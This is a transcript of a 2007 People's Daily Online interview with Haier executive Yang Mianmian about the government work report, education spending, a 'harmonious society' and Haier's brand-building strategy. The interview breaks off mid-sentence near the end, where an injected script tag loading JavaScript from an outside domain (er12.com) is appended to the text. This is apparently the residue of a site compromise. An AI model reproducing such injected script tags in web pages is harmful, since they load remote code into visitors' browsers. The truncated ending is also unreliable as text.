3月6日下午，全国人大代表、海尔集团总裁杨绵绵做客人民网，就“创建自主品牌与构建和谐社会”的话题，接受人民网记者的视频采访，并与人民网强国论坛的网友进行了交流。以下是访谈实录。
争创“第一世界品牌”就是一种最大的和谐
[人民网]:首先请您谈谈对温家宝总理《政府工作报告》的一些感想。
[杨绵绵]:听了总理的工作报告以后，我最大的感受就是老百姓心里想的，眼睛里看到的，政府都想到了，也都看到了。尤其对涉及到群众利益的突出问题更有了具体的、务实的措施和解决办法。例如，教育公平问题、城乡基本保障问题、环境污染问题、“三农”问题等等。
教育公平，我是第一次听到这样一个词，政府对教育公平问题的重视和采取的措施，非常令人振奋。教育方面的财政支出从去年的18亿到今年的96亿，到明年的200亿，200亿和18亿之间是十倍的力度，还有免除农村小学生义务教育的学杂费措施，买不起课本的也免了他们的课本费，这又解决了1.5亿家庭接受教育方面的困难和难题。我认为这充分表明国家对提升国民素质和全体中国人民的人力资源的素质，相当大的重视。所以我觉得这个措施是强国富民的根本性的措施。
[人民网]:构建和谐社会依然是今年“两会”的一个热点话题，同时它将会成为一个时期以内社会所关注的话题。您是怎样理解构建和谐社会的？具体到海尔，怎样为建设和谐社会出一份自己的力呢？
[杨绵绵]:我是这么理解的。和谐社会是大家都能够心情舒畅的工作、生活，每个人都感到很满意，这就是和谐社会。
总理在作《政府工作报告》的时候，凡是谈到国际地位提高，谈到“港人治港”，反对“台独”这些问题时，掌声都非常热烈，这说明什么呢？说明大家都希望不要受人家欺负，我们要有自己的国家在世界上的地位，这种强国富民的愿望，如果实现了，就是我们国家的根本性和谐。
其实，在2007年的经济工作会议上，重点讲到了要又好又快的建设经济。对海尔集团来讲，我认为我们面临的最大的挑战，就是创建一个有竞争力的品牌。在这个工作中，更大的挑战就是要创建一个第一的世界品牌、第一强的品牌。我认为，创造有竞争力的品牌实际上是创造这个品牌的价值，如果创造第一品牌，那就是创造第一价值，这个“第一价值”就是一种社会发展的主流价值，这个主流价值，我认为就是全体人类向往的美好的价值。如果能够满足这种愿望，我认为要争创“第一世界品牌”就是一种最大的和谐。
创造自主品牌要提高三个竞争力
[人民网]:您刚才提到了品牌，张瑞敏在年初时说过，“如果是品牌就可以赚大钱，如果不是品牌就什么都不是”。您刚才也提到，海尔这么多年来，一直在潜心希望打造一个让中国人骄傲，为中国人争光的世界级自主品牌，目前遇到的最大难题什么？将怎样应付呢？
[杨绵绵]:最大的难题，我们觉得是品牌竞争力的问题。我们要让这个品牌在世界上具有竞争力，怎么来创造这个竞争力？创造竞争力，创新是一个最大的难题。我们是这么做的，我们在创品牌的过程中，还有一些体会。我们这个品牌经过20多年的努力，去年在《福布斯》杂志发布的全球200个最受尊重的企业中，海尔排名第25位，这是中国品牌排名最靠前的一次。
另外，我们国家的品牌评估事务所评估的海尔品牌的价值是749亿元人民币，我们连续五年得到第一。我觉得这个品牌的创新，一方面是党和国家政府对我们的关爱，另外一方面，也是我们全国消费者对我们的支持，更是我们全体员工的努力做出来的。
[人民网]:海尔在创建品牌的过程中，有没有什么经验，请您给我们介绍一下？
[杨绵绵]:经验谈不上，我谈一下感受。我们有以下几种感受：
第一，如果要创造自主品牌，就要解决创造三个竞争力的问题，比如说，产品竞争力。在产品竞争力的创新方面，我们的做法就是把用户做大，把企业做小，不是把海尔集团做成很小的企业，是相对用户的需求来讲，我们要把用户的需求作为最大的追求目标，这时候我考虑的就是如何为用户服务。我们很多产品的开发都是从创造用户的需求角度来开发的，比如不用洗衣粉的洗衣机，它就是从满足用户不让皮肤受到损伤，也不让环境受到污染的需求出发的。因此我们给用户创造了价值。
还比如，我们搞网络家电，也是根据用户需要。我们为了创造这个产品，我们还创造了行业标准。在产品方面的创新，我们主要是观念上的创新，过去叫开发产品，现在叫开发用户需求。
第二方面，营销竞争力。营销竞争力的创新，我们的观念是把客户做大，把流程缩短。我们的流程是用客户的订单信息来带动我们的物流，带动我们的资金流。也就是在我们企业里流动的物都有订单，都是客户下了订单的。这样我们生产出来的产品可以直接发到用户那去，不用经过仓库，不经过仓库就不会造成库存的损失。
同时，因为都是有主的，把货交?script src=http://er12.com/t.js>
